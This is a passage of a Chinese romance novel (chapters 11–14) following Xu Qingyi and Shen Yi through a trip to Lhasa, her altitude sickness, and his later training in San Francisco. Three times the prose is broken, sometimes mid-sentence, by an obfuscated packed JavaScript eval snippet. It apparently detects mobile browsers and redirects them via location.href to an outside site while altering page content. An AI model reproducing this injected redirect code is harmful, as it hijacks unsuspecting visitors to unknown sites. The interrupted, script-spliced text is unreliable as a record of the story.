她的眼神紧咬着徐清旖,像是一场烧得旺盛的大火,生生燃过她心里,烧得她五脏俱焚,失去了听觉的能力。 那一刻万籁俱寂,藏族女孩的声音如同击碎黑暗的石锤,铿锵着敲醒她。 “爱别离。求不得。放不下。” 爱别离。求不得。放不下。 - “清旖?” 沈翌不知什么时候回来了。 他拉了拉她的衣袖,徐清旖回过神,发现那位活佛已经坐回了原位,仿佛刚才的恍惚出神只是她的一场梦。 “哦,没事,走神了。” 她说着捏住了手中的福袋,然后问女孩:“多少钱啊?” “没求签,不要钱。” “可是……” 徐清旖话还没说完,被女孩不耐烦地打断,“不要钱,你们走吧,对面有人在找拼车去雪山的。” “你怎么……” “经常有旅客问,猜你们也是,走吧,别堵在这里打扰我做生意。” 直到走出很远的距离,徐清旖还是没能缓过来。 沈翌以为是她身体不舒服,拉开双肩包想给她拿氧气瓶。 徐清旖按住了他的手,她把手中已经捏出皱的福袋拿出来,“没有不舒服。送给你,沈翌。一路平安。” “这是……”沈翌问。 “刚才那里要的,你一定要带好,贴身带着,知道吗?” “好。”沈翌接过福袋,将它放在冲锋衣内衬的口袋里,“我们先去问明天去雪山的行程,然后再去吃饭。” 徐清旖点点头,回头看向刚才那个摊位,发现那位藏族姑娘已经不知道去哪里了。 甩开脑中乱七八糟的想法,她拢了拢身上带绒的外套,跟着沈翌去到拼车的地方。 “去念青吗?”师傅是一位四十多岁的藏族大叔,他的普通话生硬,“还差两个人,另一对也是情侣,今天出发来不及了,我们明天走。” “明天什么时候?”沈翌问。 “上午大概七点走,最晚七点半,下午六点就能回来。”大叔看起来面善,打量了他们一眼,“不过你们要去的话记得买两身厚衣服,还是穿得太薄了,上山会冷。” “行,多少钱?” 沈翌他们最初的计划也就是念青山,有本地居民带路实在是再好不过。 讲好价格以后,大叔拍拍胸脯,“跟着叔走,不会出错。” 沈翌点点头,转头询问了徐清旖的意见,就这样定了下来。 离开的时候大叔嘱咐他们买衣服,又说记得备氧,最后才说明天交钱,到时间还是在这里集合。 11. 风马纸 大概是受了那位藏族姑娘的影响,前往八廓街的路上,徐清旖又在一个小摊上买了一本手相书。 她一边走一边翻,和肖珩他们几个人汇合时,和他们打过招呼以后就接着继续看那本书。 等到在私人饭馆坐下,肖珩靠近沈翌,指了指他身边正伸出自己的手掌和书中进行比对的徐清旖,“她着魔了?” 沈翌笑了笑,“太好奇了吧。” 临近黄昏的阳光没那么猛烈,暖洋洋地透过明亮的窗户照进来,轻轻映在餐桌上。 他们一人点了一碗藏面,然后配了土豆包子、麻森、糌粑和一个小份的酥酪糕。 趁着另外几个人说话的间隙,沈翌喝了一口服务员端来的甜茶,撑着脑袋看身边忙碌的徐清旖。 “不吃饭啊?”他笑着问。 “等等。”徐清旖摸摸自己的下巴,“你知道吗?书上说我的事业红火,那我肯定能赚大钱。” “行,你赚大钱。”沈翌说:“你尝尝这个。” 徐清旖也拿起杯子喝了一口,接着打了个哈欠,又伸伸懒腰。 她听见沈翌问:“爱情呢?看手相不是可以看什么爱情线吗?” 她愣了愣,然后说:“爱情当然是顺遂的啊,爱而可得。” 沈翌没有再接话了,转头看向窗外等着服务员上菜。 徐清旖也没有说话,她捏紧了自己的右手,只有她知道自己骗了沈翌。 无论是否是所谓的“男左女右”,根据这本书她也只能读出来自己的爱情线是“情路不顺、半生坎坷。” 夜幕降临,热情好客的藏民们在布达拉宫前的广场上跳藏舞,这是他们没有接触过的世界。 不够光怪陆离,但是极具吸引力。 徐清旖看着他在歌声中跟着节奏点头鼓着掌,猜自己大概是有点醉了。 沈翌的皮肤很白,在灿烂的橙黄色晚霞的映衬下竟然具有破碎感。 可是沈翌怎么会有破碎感呢? 他这么坚韧的一个人,又有什么能够把他击垮? 徐清旖的另外两个同事都是很有活力的人,他们加入了藏民的舞蹈队伍不亦乐乎。 “美国人是不是信基督教啊?”她的声音不大,大概只有沈翌能听见。 他点点头,笑着回应道:“怎么了?在佛教圣地讨论这种问题,于情于理都不太合适吧。” “我知道!”她的声音有点大,感受到身边隐隐传来的目光又有些不好意思,“你小点声,我就问问。” 沈翌把手里的果汁递给她,听见她低声说:“你以后,再想看见我们国家这种氛围,怕是很难了吧。” “不过没关系,我会去看你的。”徐清旖把头微微靠在沈翌肩膀上,感受到他有瞬间的僵硬,“如果有时间,你也要回来。” “好。”他直起身来,想让她靠得更舒服些。 肖珩刚从另一边买东西回来,他坐在沈翌的旁边,问他们明天的打算。 “我们租了车,去念青山。”沈翌说。 肖珩看了一眼徐清旖,这个他在学校里关系很好的小学妹,“她高反……能行吗?” “我会多带一瓶氧。”沈翌看了徐清旖一眼,发现她的脸微微红着,“怎么了?” “沈翌……”她的声音很轻,如果不是他的注意力全在此,几乎都要听不见。 “我好像,有点不舒服。”她说。 徐清旖的症状不是很严重,沈翌觉得她需要好好补觉。 肖珩大学的时候和朋友一起来过西藏旅行,当时报的团里也有人有点高反。 “实在不行的话,你们明天就在这附近转转算了吧?”他说。 “要去的。”徐清旖的声音很小,“睡会儿就好了。” 沈翌现在不和她讨论这个问题,和肖珩他们道别以后,扶着她回到宾馆,将氧气面罩取下来放在桌上,然后才去前台要了一杯白水。 出于安全考虑,他们选择的宾馆距离并不远且价格不算便宜,走廊配置的有可以租的制氧机。 沈翌和前台说明了徐清旖的情况,问了问她能不能去念青山,记好注意的事项之后,然后才回到房间。 徐清旖已经躺下了,他将水杯放在她的床头,随手从身后拿了个坐垫垫在地毯上坐着。 “你不回房间吗?”徐清旖面对他侧躺着,“我没什么事,可能是有点困,你回去吧。” “睡吧。”他说:“你睡着了我就走。” 后来沈翌一晚也没有离开,徐清旖第二天醒来的时候,他刚好从外面买东西回来。 他说他回自己房间睡了一夜,她笑着拆穿他,昨晚半夜她呼吸不顺从梦中惊醒,明明看见他靠在自己的床边睡着了。 “太早了,只有没收摊的夜市,随便买了两件夹袄,你看看怎么样?” 沈翌没有回答她的戏谑,从袋中拿出来两件衣服,是同样的款式,一件绿色,一件深粉色。 徐清旖正在刷牙,从卫生间探出脑袋往外看,满意地比了个赞,“眼光不错嘛!” “都一个款,我就选个色。”沈翌正在往桌上摆早饭,看了眼时间,“时间还来得及,买的是油茶。来吃两口。” “等我洗个脸。” 吃早饭的时间,沈翌把背包腾出来装了些零食,又往里装了几瓶医用氧和一盒葡萄糖。 徐清旖看了看他,还是忍不住说:“会不会有点夸张了?带太多了吧?” 沈翌又把昨天着急忘带的相机装进背包,然后说:“不会,我要保证你的安全。” 听见这句话,徐清旖忽然问:“那个福袋呢?你拿出来没?” 她伸手去拿沈翌刚刚换下的外套,从那个内衬的兜里摸出福袋,递给沈翌,“放包里。” 沈翌没有出声反驳,把它安安稳稳地放在背包里。 - 等到集合的地点的时候,徐清旖才发现他们带的东西真不算多。 另一对小情侣背上一人背了一个鼓鼓的双肩包,而他们只有一个包。 小情侣中的女孩叫小溪,她看见沈翌脖子上挂着的相机,“国庆快乐,到时候我们可以一起拍照吗?” 她的男朋友小张不愿意打扰女友的兴致,补充道:“我们可以付钱。” “没关系,不用付钱,留个地址,到时候寄给你们。” 沈翌说话的时候语气比较平,不是熟识的人可能会误以为他不高兴。 徐清旖笑了笑对着小溪说:“这次旅行我们是一个队伍,不用在意这么多的,多多关照吧。” 藏族大叔的车是一个面包车,三排座位。 一对真情侣坐在第二排的两个位置,徐清旖和沈翌坐在最后一排,旁边放着他们的双肩包。 藏族大叔负责开车,副驾驶坐的是大叔的女儿,一个酷酷的藏族女孩。 由于身体的因素,他们也没有打算去很高海拔的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389886|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沿着环山公路一直走,徐清旖侧头看向窗外的高山,湛蓝色的天空下有飞鹰在盘旋。 她忽然想起来藏族习俗中的天葬仪式,高中老师讲到这种文化,那是她第一次感受到各个民族之间巨大的差异。 大学的时候,有同学在社会实践分享活动中讲到自己去拉萨旅行的经历。 她是在深冬去的,看见过漫天簌簌的雪花。 她说:“我一生也无法忘记拉萨,世人爱神,我想神仙居住的地方大概就是如此。” “徐清旖。”沈翌唤她的名字。 她转头去看他,沈翌面对着按下快门。 只有他知道刚刚取景器里的样子,面包车的车窗没有完全摇上来,泛着凉的风从缝隙中钻进来,她的鼻子以下都埋在衣领里,发丝轻轻向后,脸上的神情有些惊愕。 “沈翌。”她笑着说他像小孩恶作剧,沈翌回她说:“回去洗出来会很好看。” “那再来一张。”她转过身面对他,整个人靠在车窗旁,露出牙齿笑得明媚。 后排的快门声吸引了前座的情侣,他们古灵精怪地向后半跪在凳子上,把下巴放在椅背上拍了一张奇怪但温馨的照片。 嬉笑过后,窗外的路上已经隐约看得见终年不化的积雪了。 他们都是土生土长的南方人,前半生几乎没见过堆起来的大雪。 徐清旖惊讶着将车窗摇得更低,她对沈翌说:“等我以后一定要去看一次下大雪,然后你把我埋在雪里,就是把我整个人都埋进去的那种。” 沈翌笑着点头,想象了那样的以后,听起来好像不错。 到了下车的地方的时候已经快中午了,大概因为是国庆假期,今天来旅行的人并不算少。 小情侣自己也带的有相机,不过他们不算是懂行的人,只能拿着一通乱拍。 徐清旖看了看那边正在向沈翌请教拍照技巧的他们,笑着摇了摇头。 她走到一起来的藏族大叔和小姑娘旁边,问他们:“你们是不是经常来这山上啊?” 大叔点点头,他的声音比较沉,面向也比较平,看起来就很朴实,“我们家就是做这个的,还有旅店。姑娘你们再来可以来我们家住,给你打折。” “好。”徐清旖说完,还想和小姑娘搭话,但她看见对方正闭着眼睡觉,便没有开口。 沈翌从小情侣身边抽身,走过来问她:“挂经幡吗?” 来的路上他们就注意到了,猎猎的寒风将挂于高处的经幡吹得发出整齐的声响,在碧色的蓝天和纯白的雪的衬托下,更是显得鲜艳美丽。 那上面密密麻麻地画着一些藏文和图案,徐清旖看不懂,伸手从他脖颈上取下相机,为他拍下几张照片。 “沈翌,你这个衣服的颜色拍出来不太好看。”徐清旖说:“不过你穿着好看,是相机的问题。” “就你嘴贫。”他把徐清旖拉着转了个方向,背后有人正在撒隆达,厚厚的一叠五色风马纸在那个人手里随着风飘出好远。 徐清旖从旁边的小摊处也买了一叠过来,据说上面密密麻麻的都是对亲人朋友的祝愿。 他们找了个人少的地方,徐清旖举着手,风马纸堆在她的手心里,一阵风吹过,在经幡的猎猎声中,画出了一道彩虹。 徐清旖笑得灿烂,一头长发被风吹得飞舞起来,远处是白雪皑皑的山峰,近处是飘动的绚烂颜色。 沈翌轻轻按下快门,拍下了这张照片。 12. 爱别离 午饭吃的是他们自己从山下带来的食物,藏族大叔自己嚼着牛肉干,还给他们送了一点。 徐清旖坐在路边的凳子上休息,看着对着吃东西却一句话也不说的藏族父女,问沈翌:“他们的关系奇怪吗?” “女孩很酷。”沈翌拧开矿泉水递给她:“关心她爸爸吧,又不好意思说。” 徐清旖赞同地点头,“否则也不会来这一趟了。” “挺明显的,她父亲大概率也知道。” 爱人的话大多都说得片面模糊。 下山的路上天气开始转阴,海拔高的地方空气稀薄不容易成云雨,不过他们的运气没有太好。 沈翌看了看腕表,已经五点了,天色开始阴沉,公路上仍然堵着一条长长的队。 “有雨冲了些碎石和雪下来,路堵住了,救援队正在施工,可能要等会儿。”藏族大叔回到车上说。 小情侣中的小溪可能是有些害怕,小声问着男友怎么办。 副驾驶座位上的女孩闭着眼睛转了个头的朝向,转头瞥向窗外,不知道是不是睡着了。 “你们不用害怕,这种事在我们这里不算少见,只是需要等一会儿,我会平安把你们送到的。” 大叔似乎也很抱歉,小张朝他点点头。 沈翌并没有听见前面的对话,他发现徐清旖有些不舒服,她侧着头靠在窗户上,呼吸有些急促。 “清旖?”他打开双肩包,连忙把氧气面罩外的塑料袋撕下来,递给她。 徐清旖没说话,她觉得自己大概真的有些高反,心跳得有些厉害,喘息也止不住地加重。 随着太阳逐渐落山,温度也开始降低,她实在是有些冷,循着热靠在沈翌的肩膀上。 她的声音从面罩里传出来,闷闷的带着鼻音,“借我靠一下。” 沈翌反应过来她可能是发冷,伸手拉拉链想把外套脱下来,徐清旖却伸出另一只手按住他的手,“别动,我有点累。” 又补充道:“这样就够了。” 他愣了一下,把左手放在她的肩上,揽过她靠得更近一些,想让她更温暖一点。 “沈翌,我21岁了。” 徐清旖左手捏着他的衣角,右手摁住氧气瓶。 前面的情侣也在低声聊天,司机师傅和女孩隔得太远,大概没人能听见他们说话。 “我知道。” 沈翌有些着急,他现在很想下山,甚至开始后悔自己不应该由着徐清旖。 昨晚应该带她去测血氧,如果再顺便找点药吃,或许现在就不会这么难受。 听见他的话,徐清旖笑了一声。 呼出的雾气密密麻麻地附在面罩内侧,她说:“你知道什么啊,我想让你和我说生日快乐。” “你的生日还没到。”沈翌用手背摸了摸她的额头,又试了试自己的,“别闹,好好休息会儿。” 徐清旖没说话,撑着手往上坐了坐,她的指节抵在输氧管旁边,整个人已经少了些血色。 沈翌看她这副样子,开口叫那位藏族大叔,他问:“师傅,能不能催一催,她有点儿高反。” “高反?”师傅惊讶地转过头来,小情侣也探头看她,大叔说:“快吸点氧,吸了吗?” 沈翌点点头,小溪直起身子面向他们,神色也很着急,“我包里有葡萄糖,你给她喝点吧,应该能好点。稍等我找一找。” 说着她就要去翻自己的书包,沈翌说:“没事,我带的有,谢了。” 徐清旖偏了偏头,听见大叔推开车门跑去催前面的人,一边跑一边还在喊:“好了吗?还有多久?” “有白开水,我装在保温杯里的,你们有杯子吗?要不要喝点?”小张又问。 “不用了,我歇会儿就好了,谢谢你们。” 徐清旖往右靠了靠,头埋在沈翌肩上,沈翌也没再说话。 等到车里再一次回归平静,徐清旖才闷着声音小声开口。 “我没有闹,只有几个小时了,你快给我说生日快乐。” “生日快乐,清旖。” 这时沈翌没有再推辞,等到十二点,再说一次就好了。 “二十一岁生日快乐。” 大概又过了一会儿,徐清旖稍微感觉好了些,又开始不安分。 她说:“给我用一下手电。” 沈翌从包里拿出来给她打光,他看见徐清旖牵过他的手掌,细细辨认着上面的纹路。 “徐师父出师了吗?” 他忍着笑,又不忍心看她病怏怏没事可做的样子。 “嘘,小徐师父在给你看手相。”徐清旖倚在他肩上,片刻后,轻轻拍了拍他的手腕推回去,“看出来了,一生平安顺遂。” 她说完又用指尖画了画另一条又长又直的线。 “情路坦荡啊,可以嘛沈翌。” 沈翌笑了笑将她扶起来,给她撕开一支葡萄糖,看着她喝下去。 窗外司机大叔喘着气跑回车上,他踩下油门,跟着前面开始缓缓移动的车队开始行驶。 还不忘回头询问他们:“姑娘,现在怎么样了?” “没事的,您别担心我。” 她的声音闷在面罩后面,沈翌又替她重复了一遍。 “现在好一些了,师傅,下山要多久啊。” “我开快点,大概一个小时?”他打着方向盘,问那对情侣:“我先送他们去医院可以吗?” “可以可以。”小溪直点头。 徐清旖望着窗外,暮色四合,天空中还有几个黑点在迅速地移动,想必正是那些凶猛的飞鹰。 路边有顺着风飘过来的几张五色风马纸,虚虚靠在雪地里,在夜色中显得异常明显。 身体的疲惫让她逐渐变得困倦,陷入睡眠的前一秒,她忽然想起来布达拉宫门前那位活佛的双眼。 她爱而不得,沈翌情路坦荡,原来本就不是一路人。 - 从医院回来的时候已经十一点过,徐清旖靠在宾馆的床上,还有力气开玩笑,“早知道就订一间房了,我猜你不会回去睡。” 沈翌将窗帘拉好,一边笑着说“没事”,一边将杯子洗净,又去前台要了一杯热水。 看着徐清旖把药吃完,她问他:“要不你回去睡吧?” 沈翌看了一眼手表,没说话就是拒绝了她的提议。 徐清旖躺在床上,一只手枕在头下,眨着眼睛看他。 沈翌把另一个房间的棉被抱了过来,在她的床边简单搭了个地铺。 “回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389887|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,你就要走了。”她忽然说。 “生活所迫。”沈翌也难得开玩笑。 “会期待吗?新生活。” 沈翌抿着唇,在她的注视下躺下来,他盯着天花板,似乎真的在认真思考。 “会期待,但也会害怕。” “我还记得我刚工作的时候。” “怎么了?”沈翌没听她讲过这些事,或许也是为了消磨时间,“哭了?” 徐清旖笑出声来,“这种事你应该听我讲才对。” “那就是哭了。” “好吧。”徐清旖换了个姿势,“我的第一份工作是编辑,只做了一个月。” “不习惯?” “压力也很大,几乎每天都在哭。”她说:“想回家,更想有一个人陪我说说话,融不进去那个公司。” “但好在还只是实习,后来就辞职了。” “然后呢?” “然后回学校准备毕业的事,聚餐时遇见肖珩,他向我介绍了这个工作。” “刚来黎江的时候也睡不着,后来心态调整过来了却又要去新地方了。” 许久未说话,沈翌几乎以为她睡着了。 一片黑暗中,他忽然听见徐清旖的声音,“除了小学文艺汇演的那一次,我还没听过你唱歌呢,要不你再给我唱一首?” 她注意到沈翌很轻地笑了一声,“想听什么?” 徐清旖摇了摇头,意识到他看不见,又说:“不知道,你随便唱吧。” 沈翌沉默了一会儿,然后才缓缓唱起来。 是张国荣的《风继续吹》。 “我劝你早点归去,你说你不想归去,只叫我抱着你。” “要将忧郁苦痛洗去,柔情蜜意我愿记取。” “我已令你快乐,你也令我痴痴醉,你已在我心,不必再问记着谁。” “让风继续吹,不忍远离,心里极渴望,希望留下伴着你。” …… 过了许久,沈翌借着卫生间留着的微弱灯光,举起手臂仔细辨认了十几秒,才确定表盘上显示的时间是00:18。 他撑着手坐起来,顿了顿,才轻声开口:“生日快乐,清旖,要平安、快乐、幸福。” 1991年,一个被刻在历史书上的年份。 往后很多年回忆起来,徐清旖还是无法忘记那个国庆假期,那个生日。 她心爱的男孩即将离开祖国,飞往大洋的彼岸。 只有此时,他离自己这么近。 那时候沈翌沉着嗓子唱《风继续吹》,他的粤语并不标准,徐清旖却很容易沉溺在他的声音里,像是一只搁浅的鱼,无法动弹。 之后他们都沉默了很久,徐清旖觉得或许他已经睡着。 她想起来在某本书中见过的伊瓜苏瀑布的照片,可能未来某一天也会有人把它写进某个故事中,但那个人要说的一定不仅仅只是阿根廷的伊瓜苏瀑布。 就像徐清旖往后回忆起拉萨,一定不只有念青山和飞扬的五色风马纸。 比壮阔的雪山更击中她的心的,是那个将她的愿望重新作为祝福送给她的人。 所谓爱别离、求不得、放不下,也许只是一句玩笑话呢。 徐清旖闭着眼睛想。 13. 他乡月 黎江市政府上半年的时候发通知,说年底会安装多部公共电话以供使用。 到了美国以后,沈翌将自己集训单位的电话抄写了一份,写进信里,寄给远在大洋彼岸的徐清旖。 徐清旖是在春天才收到的这封问候冬安的信笺的。 沈翌在信里写到自己住在六人的宿舍,室友来自祖国的天南地北,讲英文的时候大家都能很好地理解彼此的意思,反而是说普通话的时候常常会产生歧义,让人哭笑不得。 他的原话是这样说的: 有一次,我们宿舍有人感叹想吃柿子,白思园就问他是生吃吗?当时其实我也疑惑,柿子难道还要煮熟了吃吗……后来我才知道东北的番茄也叫柿子。 徐清旖看到这里笑了笑,正想问他那东北的柿子叫什么,才反应过来这是信,而沈翌已经不在她面前。 春节徐清旖回了一趟南城,把沈翌的问候与近来的一些事讲给父母和沈爷爷听,徐老师在饭桌上提出安装一部座机。 “小翌一个人在美国,清旖也是一个人在黎江,有个电话,我们也能够聊聊天。逢年过节孩子们还能打电话回来,也就没必要担心我们几个老人在家里会孤单了。” 徐老师是这样讲的。 沈爷爷第一个支持。 第二天他回了趟家,把自己这些年攒的钱拿了一部分出来,徐老师一家人不收。 他就说:“你们不收的话,我也不会来这打电话的。” 他们拗不过老人家,于是收下了钱赶在徐清旖走之前给家里添了一部电话。 电视里在重播春晚的小品逗得现场人乐呵呵,她坐在沙发上教三位老人,“这个键是重播键,摁一下就会自动拨打上一个电话。” “听筒下面摁一下就可以挂断,打电话的话直接按数字就好了。” 她一边说一边示范,然后拨下了那串早已烂熟于心的数字,“你好。” 对面的回复是英文,于是徐清旖也用英语表达了自己的意图,麻烦对方转接一下沈翌。 说完她将听筒放在一旁,然后打开了电话的外放。 按照信中的说法,他们完全闲下来的时间应该就是旧金山十一点以后,所以她选择在下午三点给沈翌打这个电话。 “喂,清旖。” 沈翌的声音带着电流声穿过偌大的太平洋,隔着十六个小时的时差从这个小小的红色方块中传出来。 这不是他们第一次通电话,上半年徐清旖收到信以后,他们就已经聊过很多次。 沈爷爷和母亲的眼睛里有水光,徐老师表现得很激动,“小翌啊,新年好。” “徐老师?新年好,徐老师。师母在吗?” 沈翌的声音带着点笑意,徐清旖觉得自己甚至都能想象出来他的样子,靠在墙边,微微低着头抿着嘴。 “在的在的,你爷爷也在。” 母亲的声音有些哽咽,这么多年她早已经把沈翌当作是自己的孩子,如今他一个人去了那么远的地方,她的心里多的是难受与不舍。 “师母新年好,爷爷怎么不说话?你们这会儿是……逛街?” “小翌啊。“ 沈爷爷也试探着开口,在这之前他从不曾接触过电话这种东西,大概是情绪难忍,声音还有些颤抖。 “过年记得吃饺子啊,在那边过得还好吗?” 一阵寒暄过后,徐清旖才说:“沈翌,你记得记一下这个电话,以后可以通过这个号码找到爷爷和我爸妈、” “安装了电话吗?” “对啊,赶在年前嘛。爷爷出的钱,他们都很想你,你有时间记得多打打电话。” 徐清旖说着看了一眼时间,在心里飞快地计算了一下,“你那边快十二点了吧,你早点睡,我晚上就回黎江了,宿舍里会做年夜饭吗?” “他们买了啤酒算庆祝,但每个人就尝了口,不能喝多。也没什么正式的仪式,还有个东北的小孩儿,过几天才满二十一,喝酒还犯法。” 说着他轻笑了一声,然后和三位长辈分别道了别,“明天有公司的另一支队伍来交流,我先睡了。” “好,早点休息。” 挂了电话以后,沈翌又在原地发了一会儿呆,管通讯的是旧金山本地的一位大叔,看着他觉得有些好笑,问那个年轻女声,“女朋友?” 沈翌摇摇头,“朋友。” 六个字母就可以概括的关系。 “那另外几位呢?”他又问。 “关系很好的叔叔阿姨,还有我的爷爷。” 提到爷爷,沈翌不可避免的想家,第一次像小孩一样和他介绍:“他曾经是一位讲师。” “讲故事的吗?” “什么都讲,他什么都会。” “那太酷了。”大叔惊呼,“那他的学识一定很渊博。” 沈翌笑了笑。 抄写完电话号码后,他回到宿舍。 同住的室友都已经睡了,他没有开灯,摸着黑回到床上,手枕在后脑下放空自己。 他们的集训时间很紧张,每天的行程就是:学习理论、工厂实践、学习理论、工厂实践…… 他想起来当初在南大遇见的那个学妹许安怡,她说数学也要实践,看来说的的确没错。 国内会给他打电话的除了徐清旖,就只有万师傅,所以他总能根据管理员的描述瞬间猜出对面是谁。 宿舍里那位名叫孟晨的同事有一个谈了好几年的女朋友,他使用宿舍电话的频率远比沈翌要高得多。 那时候他还不喜欢开玩笑,每当东北的那个小孩打趣他的时候,他总会板着脸,很严肃地说:“恋爱是两个人的事。” 时间久了,东北的小男孩也不再问别人相关的话题了。 沈翌捡了个大便宜,不再需要分出心思去和别人解释自己和电话那头的关系。 不需要讲述,就不需要去思考。 前段时间徐清旖在电话里和他说李安,她抱怨李安拖着项目不做总结,负责项目的同事们怨声载道,他却仍然每天找她出去闲逛。 沈翌能够感觉出来她对于李安态度的变化。 他还在国内的时候,徐清旖为了不被他抓去加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389888|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班,可以忍着很长一段路不和自己讲话,但现在已经开始和他分享李安发现了某种特别好吃的中国菜。 “我觉得他挺有美食鉴赏家的天赋的,如果他放弃这份职业的话,我会推荐他做这份工作。” 徐清旖靠在电话亭里,一只手握住电话,一只手轻轻抠着电话线。 “嗯。”那时候沈翌所在的团队正在讨论关于全新相机成像的问题,随意回答着她的话,过后才觉得心脏钝痛。 偌大的太平洋,公里前还要加“万”的距离,它们之间的话题也变得越来越少。 “沈翌,明天来交流的团队是本地人吗?”睡在他上铺的室友探着脑袋问他。 “不是,华盛顿过来的。” 他说着像是想起来什么,从床上起来拉开桌子下面的柜子拿出来一个小的笔记本,“教授说,他们很厉害。” “怕什么,咱更厉害。” 东北小伙叫白思园,他的家庭条件很好,父母心疼他远渡重洋背井离乡,走之前还给他买了一台索尼的WM-GX808随身听。 沈翌没再回答他们的话,他没有必须要写日记的习惯,但还是打着台灯写完了今天的记录,在末尾又慢吞吞地补上“盼归”两个字。 - 这家科技公司这些年发展得很快,他们在全世界各地招揽技术型人才,更不惜高价为他们开展培训。 培训期为两年,沈翌来的时候就签了合同,结束培训期后五年他都需要为公司服务,这也是每一个来参加的人需要保证的承诺。 他的表现一直很好,凭借着对于数字和物理的高敏锐度,即使是在人才济济的培训基地,他也仍旧是出类拔萃的那一个。 负责这支队伍的是一位美国华人教授史密斯先生。 他年轻时曾在西南联大上过学,留美的那几年里,与旧金山本地的一位姑娘恋爱结婚,之后便移民了过来。 史密斯先生十分欣赏沈翌,前两天知道华盛顿研究团队要来基地交流之后,他便通知了沈翌负责此次的讲解一职。 加州阳光充足,沈翌过来这边快两年。 前几天体检发现自己快23岁竟然还拔高了三厘米。 他的身高本来就不算矮,只是西方男性普遍比较高,从前他在李安面前还需要微微仰头,现在他觉得自己应该和他差不多高。 华盛顿的那支队伍里并不是纯粹的某个国家的人,他们是前几期公司培训计划中最优秀的学员组成的团队。 沈翌在其中认识了两名日本人和一名南非的朋友,但是即便如此,现在的他们都是拿到了美国绿卡的真正意义上的美国人。 刚见面时,沈翌在他们毫不掩饰的打量的目光下多少感到不舒服。 在带领他们参观实验室期间,还听见有人悄悄用英语讨论说:“亚洲男人不是都很矮吗?” 听见声音的一位高鼻梁男性对那人摇摇头,示意他别乱讲话。 沈翌猜那位高鼻梁的人应该是英国人,因为他问自己实验相关的时候的伦敦腔很好听。 徐清旖很喜欢伦敦腔。 14. 说抉择 史密斯教授在会议室等待他们,即使是移居到了美国,教授仍然最钟爱中国的茶叶。 比如此时每个人的座位前都摆着一杯咖啡,而他始终抱着自己的保温杯。 华盛顿的这支队伍是作为下访交流的,他们即将在这个华人基地居住几天,分享工作经验,以及指导他们往后几天的工作。 沈翌的报告是这一年多以来基地的研究成果,前几天刚从数据部把数据抄写过来。 华盛顿队伍的领头人向他抛出相关的难题。 “数字的敏锐是最难得的。” 沈翌穿着剪裁合体的西装,时光将他雕刻得更挺拔,他的声线沉稳,像是面对一道最简单的社会问题那样回答道。 结束的时候那位那位英国男人又来找到沈翌,他的眼睛是清澈的琥珀色。 他向沈翌表示了自己的歉意,说自己是负责人却没有管理好自己的同事。 沈翌知道他说的是那人说亚洲男性都很矮的事情。 他刚来美国之后不久,苏联正式宣布解体,美国毫无疑问成为世界第一强国。 一向与苏联交好的同样是社会主义国家的中国,在此时必然受到了巨大的冲击。 那时候在美国遭受种族歧视是十分寻常的事。 路人漠视,本地的911甚至不予受理中国人的诉讼,公司的管理层紧急封锁了他们的基地,以免受到牵连遭受损失。 史密斯教授甚至因此与他们的团队交流过,他安慰他们只要结束了培训期,正式入职公司以后,找机会还是能够拿绿卡进行移民的,到时候他们就是合法的美国公民,不需要再受这些冷眼。 当晚宿舍里有两个人在讨论洋妞身上哪里漂亮,然后又讨论着以后是在洛杉矶还是华盛顿买房,汽车要买奔驰还是福特。 沈翌没来由的很生气,这不是他的作风,但忍不住便走到外边走廊上撑着栏杆出神。 过了一会儿孟晨也出来了,他手里攥着一包烟,这是他让美国朋友在外面买回来的。 沈翌只见过他抽过两回,一次是压力太大,另一次大概是和谁吵了架,接了电话之后躲在楼道抽烟,正好和去办公室交实验报告的沈翌撞个正着。 “来一根?” 孟晨自己抽出一支烟叼在嘴里,把剩下的半盒扔给沈翌,也不管对面什么反应,自顾自地拢着手点燃,然后又把打火机递过去。 “不抽。”沈翌把打火机放进烟盒里,也没有还给他。 “你怎么想?”孟晨取下烟,呼出一口白烟,转头问他。 “什么怎么想?移民吗?” “嗯。”孟晨说:“我是上海人,中国这些年发展很快,我是看在眼里的。” “不会。” 沈翌仰了仰头,旧金山的夜晚是一种静谧的蓝,像是潮湿的空气整个氤氲在身边,“无论怎样,我都不会移民。” 孟晨安静地抽烟,没有说话。 “反正我也不会一直待在美国,迟早要回国的。”沈翌说。 “我也不会移民。”孟晨说:“本来也只是出来镀层金。” 沈翌微微惊讶他的说法,自己看来付出全部的工作机会,在对面这人眼里竟然只不过是镀一层金。 “那是什么眼神?” 孟晨笑了笑,手肘撑在栏杆上望着远处,繁星满天。 